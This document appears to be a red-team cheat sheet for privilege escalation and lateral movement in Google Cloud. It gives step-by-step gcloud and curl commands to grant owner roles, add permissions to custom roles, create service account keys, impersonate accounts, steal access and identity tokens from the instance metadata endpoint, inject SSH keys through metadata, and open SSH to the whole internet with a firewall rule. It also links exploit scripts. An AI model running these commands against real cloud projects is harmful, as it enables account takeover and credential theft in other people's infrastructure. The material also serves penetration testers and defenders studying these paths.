Privilege Escalation & Lateral Movement

IAM (Identity & Access Management)

Identity and Access Management (IAM) enables administrators to control permissions for accessing resources. Its key components include Role Binding (linking roles to members), Roles (defining permissions), and Resources (specifying where actions can be taken). IAM policies, set at various levels such as organization, folder, project, or resource, govern these permissions. Policies are inherited by child nodes, ensuring consistent access control throughout the hierarchy.

- Exploit Set IAM Policy Permission

Users or service accounts can establish IAM policies at different levels such as organization, folder, project, or individual resource. Permissions include roles like organizationAdmin, owner, and resource-admin, granting abilities such as setting IAM policies. At the organization level, the permission is resourcemanager.organizations.setIamPolicy, at the folder level it's resourcemanager.folders.setIamPolicy, and at the project level it's resourcemanager.projects.setIamPolicy. For individual resources, permissions like iam.serviceaccounts.setiampolicy, compute.instances.setIamPolicy, and storage.buckets.setIamPolicy are utilized.

Check iam policy on project level:

gcloud projects get-iam-policy [project-id] --flatten="bindings[].members" --filter="bindings.members=user:pepe@example-test.com" --format="value(bindings.role)"

List of all permission in custom role:

gcloud iam roles describe [rolename] --project {PROJECT}

Adding a policy binding to the IAM policy of a project (User):

gcloud projects add-iam-policy-binding [project-id] --member='user:[user-email]' --role='roles/owner'

Adds a policy binding to the IAM policy of a project (Service Account):

gcloud projects add-iam-policy-binding [project-id] --member='serviceAccount:[sa-email]' --role='roles/editor'

- Exploiting by Custom Role Permission Update

A custom role comprises user-defined permissions and can solely be linked at the organization or project level. Permissions associated with custom roles include iam.organizationRoleAdmin and iam.roleAdmin, facilitating administrative control over roles. The specific permission required for updating custom roles is iam.roles.update.

Check iam policy on project level:

gcloud projects get-iam-policy [project-id] --flatten="bindings[].members" --filter="bindings.members=user:pepe@example-test.com" --format="value(bindings.role)"

List of all permission in custom role:

gcloud iam roles describe [rolename] --project {PROJECT}

Set iam policy on project level.

gcloud iam roles update [RoleName] --project=[my-project-id] --add-permissions=resourcemanager.projects.setIamPolicy

- Automated IAM Escalation Tools

GCP-IAM-Privilege-Escalation: https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation

To identity possible privilege escalation ways in gcp project:

https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/PrivEscScanner/enumerate_member_permissions.py

https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/PrivEscScanner/check_for_privesc.py

To exploit identified misconfigured iam permission for privilege escalation:

https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.roles.update.py

Service Account

A service account, distinct from personal accounts, serves as an identity for applications or GCP compute workloads. It plays a dual role: acting as both an identity and a resource. As an identity, it enables GCP resource access without human intervention. As a resource, it facilitates access for other service accounts. Each service account is linked to a project and identified uniquely by its email address.

- Service Account Key Admin

Service Account Key Admins are empowered to generate new keys for service accounts, with each service account capable of possessing up to 10 keys. This authority is granted through roles such as iam.serviceAccountAdmin and iam.serviceAccountKeyAdmin. The specific permission necessary for creating service account keys is iam.serviceAccountkeys.create.

Check iam policy on project level:

gcloud projects get-iam-policy [project-id] --flatten="bindings[].members" --filter="bindings.members=user:pepe@example-test.com" --format="value(bindings.role)"

List of service account in a gcp project:

gcloud iam service-accounts list

List of service account in a gcp project:

gcloud iam service-accounts get-iam-policy [ServiceAccountID]

List of keys associated with the specified service account:

gcloud iam service-accounts keys list --iam-account [ServiceAccountID]

Create a new key for specified service account:

gcloud iam service-accounts keys create [FileName.json] --iam-account [ServiceAccountID]

- Service Account Impersonation

Service Account Impersonation permits principals to impersonate service accounts, facilitating the creation of short-lived credentials or utilizing the --impersonate-service-account flag for gcloud CLI. This capability is granted through the roles/iam.serviceAccountTokenCreator role. The associated permissions include iam.serviceAccounts.getAccessToken for generating OAuth 2.0 access tokens and iam.serviceAccounts.getOpenIdToken for producing OpenID Connect (OIDC) ID tokens.

Check iam policy on project level:

gcloud projects get-iam-policy [project-id] --flatten="bindings[].members" --filter="bindings.members=user:pepe@example-test.com" --format="value(bindings.role)"

List of service account in a gcp project:

gcloud iam service-accounts list

List of service account in a gcp project:

gcloud iam service-accounts get-iam-policy [ServiceAccountID]

Create short-lived credentials [access token] for service accounts by impersonation:

gcloud auth print-access-token --impersonate-service-account [ImpersonateServiceAccountEmail]

Create short-lived credentials [identity token] for service accounts by impersonation:

gcloud auth print-identity-token --impersonate-service-account [ImpersonateServiceAccountEmail]

Verify short-lived credentials [access token]:

curl https://www.googleapis.com/oauth2/v1/tokeninfo?access_token=[AccessToken]

Verify short-lived credentials [identity token]:

curl https://www.googleapis.com/oauth2/v1/tokeninfo?identity_token=[IdentityToken]

- Service Account User

Service Account User role enables principals to indirectly access all resources accessible to the associated service account. Principals can attach the service account to any compute resource and utilize its permissions. This role is assigned through roles/iam.serviceAccountUser, granting permissions such as iam.serviceAccounts.actAs.

Check iam policy on project level:

gcloud projects get-iam-policy [project-id] --flatten="bindings[].members" --filter="bindings.members=user:pepe@example-test.com" --format="value(bindings.role)"

List of service account in a gcp project:

gcloud iam service-accounts list

List of service account in a gcp project:

gcloud iam service-accounts get-iam-policy [ServiceAccountID]

Create cloud function with attached service account:

gcloud functions deploy [my-fun] --timeout 539 --trigger-http --source [function-source] --runtime python37 --entry-point hello_world --service-account [service-account-email]

Invoke cloud function and retrieve temporary credential:

gcloud functions call function-name --data '{}'

Cloud Function

Cloud Functions are serverless, event-driven compute engines susceptible to threat actors aiming to gain initial footholds, create backdoors, and escalate privileges. They can be triggered or invoked through various means including Gcloud CLI, Google Cloud Console, HTTP requests, and event-driven mechanisms like Pub/Sub. Cloud Function code is typically stored in Google Cloud Storage within the same project.

- Cloud Function Code Update

Cloud Function Code Update permissions, granted through roles/cloudfunctions.admin, empower administrators to create new functions or modify existing ones' source code. Additionally, they enable the direct invocation of cloud functions via the gcloud CLI. The specific permissions associated with this role include cloudfunctions.functions.create, cloudfunctions.functions.update, and cloudfunctions.functions.call.

Check iam policy on project level:

gcloud projects get-iam-policy [project-id] --flatten="bindings[].members" --filter="bindings.members=user:pepe@example-test.com" --format="value(bindings.role)"

List of all cloud function in gcp project:

gcloud functions list

Create / Update existing cloud function source code:

gcloud functions deploy [function-name] --timeout 539 --source [source-code-directory-path] --runtime python37

Invoke cloud function using gcloud cli:

gcloud functions call myprivesc-fun --data '{}'

Compute Instance

Compute instances are virtual machines hosted on Google's infrastructure, comprising Instance Access, Default Service Account, and Firewall Rules.

Instance Access:

  • Access via Password/SSH Key using SSH/RDP client.

  • Management of SSH keys via Instance Metadata or Compute OS Login.

  • SSH Key managed by OS Login for Compute.OSLogin and Compute.OSAdminLogin.

  • Tunneling traffic using Identity Aware Proxy (IAP) through permissions like Iap.tunnelResourceAccessor and Compute.instanceAdmin.V1.

Default Service Account:

  • Compute Engine Default Service Account: projectnumber-compute@developer.gserviceaccount.com.

  • Default role: Editor at the project level.

  • OAuth Scope configuration allows default access to Cloud Storage and full access to all Cloud APIs, with options to set access for each API individually.

Firewall Rules:

  • Apply to all instances in networks or those with specified target tags or service accounts.

- Access / Identity Token Extraction

Access/Identity Token Extraction involves a threat actor executing commands on a compute instance to retrieve access tokens from the metadata endpoint. This can be accomplished via SSRF/RCE on the VM, direct access to the VM (SSH/RDP), or execution of startup scripts on the VM. No specific roles or permissions are required for this action.

Access Token:

GCP access token value extraction:

curl -H "Metadata-Flavor: Google" "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/[SVC_ACCT]/token"

GCP access token scope extraction:

curl -H "Metadata-Flavor: Google" "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/[SVC_ACCT]/scope"

Verify gcp access token:

curl https://www.googleapis.com/oauth2/v1/tokeninfo?access_token=[AccessToken]

Another way of verifying it is by saving it in a text file and retrieving project info:

gcloud projects list --access-token-file token.txt

A tool to set new access token retrieved:

https://github.com/RedTeamOperations/GCPTokenReuse/blob/main/Gcp-Token-Updater.py

python3 .\Gcp-Token-Updater.py -I --access-token "AccessToken" --account-name [accnt-name]

Identity Token:

GCP identity token extraction:

curl -H "Metadata-Flavor: Google" "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/[SVC_ACCT]/identity"

Verify gcp identity token:

curl https://www.googleapis.com/oauth2/v1/tokeninfo?identity_token=[IdentityToken]

- OAuth Scope Manipulation

OAuth Scope Manipulation involves altering OAuth scopes assigned to an instance, allowing default access to Cloud Storage, full access to all Cloud APIs, and the ability to set access for each API individually. Changing the instance's service account and access scopes necessitates temporarily stopping the instance. Permissions required for this action include roles/compute.admin, roles/compute.instanceAdmin, roles/compute.instanceAdmin.v1, and Service Account User, with the specific permission compute.instances.setServiceAccount.

Check iam policy on project level:

gcloud projects get-iam-policy [project-id] --flatten="bindings[].members" --filter="bindings.members=user:pepe@example-test.com" --format="value(bindings.role)"

List of all compute instance in gcp project:

gcloud compute instances list

Get the all information about an instance:

gcloud compute instances describe [instance-1]

Stop a compute instance:

gcloud compute instances stop instance-1

Change service account or oauth scope of a compute instance:

cloud compute instances set-service-account [instance-name] --service-account [service-account-name] --scopes [cloud-platform] --zone [Zone]

Again, Restart a compute instance:

gcloud compute instances start instance-1

- SetMetaData Lateral Movement

Metadata encompasses extensive information about projects and instances, including project and instance details, public SSH keys, and more. It can be configured at both the project and instance levels. Adding a public SSH key for a compute instance is achieved through metadata. Instance-level SSH keys are specific to individual instances, while project-level SSH keys are applied to all instances within the project.

Metadata on Project Level:

Setting SSH keys as project metadata involves granting permissions such as roles/compute.instanceAdmin.v1 and roles/iam.serviceAccountUser. Specific permissions required include compute.projects.setCommonInstanceMetadata for managing project-level metadata and iam.serviceAccounts.actAs for service account user capabilities.

Check iam policy on project level:

gcloud projects get-iam-policy [project-id] --flatten="bindings[].members" --filter="bindings.members=user:pepe@example-test.com" --format="value(bindings.role)"

Get the information about project metadata:

gcloud compute project-info describe

Generate ssh key pair:

ssh-keygen

Arrange ssh public key in this format in a file:

username:ssh-rsa [AAAAB3NzaC1yc2EAAAADAQABAAABAQ]

Set ssh key value in the project metadata:

gcloud compute project-info add-metadata --metadata-from-file=ssh-keys=[KEY_FILE]

Metadata on Instance Level:

To set SSH keys as instance metadata, permissions such as roles/compute.instanceAdmin.v1 and roles/iam.serviceAccountUser are required. Specific permissions include compute.instances.setMetadata for managing instance-level metadata and iam.serviceAccounts.actAs for service account user capabilities.

Check iam policy on project level:

gcloud projects get-iam-policy [project-id] --flatten="bindings[].members" --filter="bindings.members=user:pepe@example-test.com" --format="value(bindings.role)"

Get the information about instance metadata:

gcloud compute instances describe

Generate ssh key pair:

ssh-keygen

Arrange ssh public key in this format in a file:

username:ssh-rsa [AAAAB3NzaC1yc2EAAAADAQABAAABAQ]

Set ssh key value in the instance metadata:

gcloud compute instances add-metadata [VM_NAME] --metadata-from-file ssh-keys=[KEY_FILE]

- OsLogin Lateral Movement

OS Login streamlines SSH access to GCP instances via IAM, eliminating the need for managing individual SSH keys. It offers SSH access privileges for both root and non-root users and supports two-step verification. Enabling OS Login involves setting the metadata enable-oslogin=TRUE at the project or instance level.

To access VM instances without SSH keys, permissions such as roles/compute.osAdminLogin and roles/compute.osLogin are necessary. Specific permissions include compute.instances.osAdminLogin and compute.instances.osLogin.

Check iam policy on project level:

gcloud projects get-iam-policy [project-id] --flatten="bindings[].members" --filter="bindings.members=user:pepe@example-test.com" --format="value(bindings.role)"

List of all compute instance in gcp project:

gcloud compute instances list

Get the all information about an instance:

gcloud compute instances describe [instance-1]

SSH to compute instance using oslogin:

gcloud compute ssh --zone=[ZONE] [VM_NAME]

Virtual Private Cloud

A Virtual Private Cloud (VPC) is a dynamically provisioned pool of shared resources in a public cloud, offering a degree of isolation between organizations. Each VPC is entirely segregated from others, accessible only through VPC peering. By default, GCP provides one default VPC per project, comprising 36 default subnets (one per region). Shared VPC enables multiple projects to utilize the same network infrastructure.

- Firewall Rules Manipulation

VPC firewall rules govern the allowance or denial of connections to/from VM instances in a VPC network, categorized as Ingress and Egress. In GCP, firewall rules are managed through Firewall Rules Targets, which include all instances in the networks, specified target tags, and specified service accounts. Threat actors can manipulate firewall rules by modifying Firewall Rules Targets or by adding/removing entries in the Ingress/Egress tables.

Permissions required for such actions include roles/compute.admin and roles/compute.securityAdmin, with specific permissions like compute.firewalls.create, compute.firewalls.update, and compute.networks.updatePolicy.

Check iam policy on project level:

gcloud projects get-iam-policy [project-id] --flatten="bindings[].members" --filter="bindings.members=user:pepe@example-test.com" --format="value(bindings.role)"

List of all permission in custom role:

gcloud iam roles describe [rolename] --project {PROJECT}

List of all firewall rules in a gcp project:

gcloud compute firewall-rules list --format=json

List of all compute instance in a gcp project:

gcloud compute instances list

Get the all information about a vm_

gcloud compute instances describe [instance-1]

Create firewall new rules with which is applicable for all instance within a vpc:

  • Firewall Rules Targets -> All Instance in the networks

gcloud compute firewall-rules create threat-rule --allow=tcp:22 --source-ranges="0.0.0.0/0" --direction=INGRESS

Last updated